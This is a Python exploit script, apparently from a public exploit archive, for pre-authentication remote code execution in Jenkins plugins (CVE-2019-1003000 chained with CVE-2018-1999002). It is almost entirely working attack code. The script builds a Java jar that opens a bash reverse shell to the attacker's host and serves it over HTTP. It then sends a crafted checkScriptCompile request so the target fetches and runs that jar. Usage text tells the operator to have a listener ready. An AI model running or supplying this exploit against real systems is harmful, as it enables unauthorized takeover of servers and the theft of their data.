1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 |
#!/usr/bin/env python # # Exploit Title : jenkins-preauth-rce-exploit.py # Date: 02/23/2019 # Authors : wetw0rk & 0xtavian # Vendor Homepage : https://jenkins.oi # Software Link : https://jenkins.io/download/ # Tested on : jenkins=v2.73 Plugins: Script Security=v1.49, Pipeline: Declarative=v1.3.4, Pipeline: Groovy=v2.60, # # Greetz: Hima, Fr13ndzSec, AbeSnowman, Berserk, Neil # # Description : This exploit chains CVE-2019-1003000 and CVE-2018-1999002 for Pre-Auth Remote Code Execution in Jenkins # Security Advisory : https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266 # # Vulnerable Plugins - # Pipeline: Declarative Plugin up to and including 1.3.4 # Pipeline: Groovy Plugin up to and including 2.61 # Script Security Plugin up to and including 1.49 # # # Credit Goes To @orange_8361 & adamyordan # # http://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html # http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html # https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc import os import sys import requests import random import SimpleHTTPServer import SocketServer import multiprocessing class exploit_ya_bish(): def __init__(self, rhost, rport, lhost, lport): self.rhost = rhost self.rport = rport self.lhost = lhost self.lport = lport self.pname = "" # evil_server: server to host the payload def evil_server(self): handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer((self.lhost, 80), handler) httpd.serve_forever() return # gen_payload: generate payload and start web server def gen_payload(self): self.pname = ''.join( [ random.choice( "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" ) for i in range(random.randint(1, 25)) ] ) home = os.getcwd() os.makedirs("www/package/%s/1/" % self.pname) os.chdir("www/package/%s/1/" % self.pname) pfile= 'public class %s {\n' % self.pname pfile += 'public %s() {\n' % self.pname pfile += 'try {\n' pfile += 'String payload = "bash -i >& /dev/tcp/{:s}/{:s} 0>&1";\n'.format(self.lhost, self.lport) pfile += 'String[] cmds = { "/bin/bash", "-c", payload };\n' pfile += 'java.lang.Runtime.getRuntime().exec(cmds);\n' pfile += '} catch (Exception e) {\n' pfile += '}\n' pfile += '}\n' pfile += '}\n' print "{1} generating payload" fd = open('{:s}.java'.format(self.pname), 'w') fd.write(pfile) fd.close() os.makedirs("META-INF/services/") os.system("echo %s >META-INF/services/org.codehaus.groovy.plugins.Runners" % self.pname) os.system("javac -Xlint:-options -source 6 -target 1.6 %s.java" % self.pname) os.system("jar cf %s-1.jar ." % self.pname) print "{2} starting evil payload server" os.chdir("%s/www" % home) jobs = [] for i in range(1): p = multiprocessing.Process(target=self.evil_server) jobs.append(p) p.start() os.chdir(home) return def exploit(self): self.gen_payload() cookies = \ { 'JSESSIONID.wetw0rk!': 'XXXXXXXXXXXXXXXXXXXXXXXX', } headers = \ { 'Host': '{:s}:{:s}'.format(self.rhost, self.rport), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } print "{3} as easy as 1,2,3 triggering now" response = requests.get( ( 'http://{:s}:{:s}/securityRealm/user/admin/descriptorByName/' 'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=' '@GrabConfig(disableChecksums=true)%0a' '@GrabResolver(name=%27{:s}%27,%20root=%27http://{:s}%27)%0a' '@Grab(group=%27package%27,%20module=%27{:s}%27,%20version=%271%27)%0aimport%20Payload;'.format( self.rhost, self.rport, self.pname, self.lhost, self.pname ) ), headers=headers, cookies=cookies, verify=False ) return def main(): try: rhost = sys.argv[1] rport = sys.argv[2] lhost = sys.argv[3] lport = sys.argv[4] except: print "Usage: ./%s <rhost> <rport> <lhost> <lport>" % sys.argv[0] print "MAKE SURE U GOT A LISTENER HOMIE!!" exit(-1) start = exploit_ya_bish(rhost,rport,lhost,lport) start.exploit() os.system("rm -r www") main() |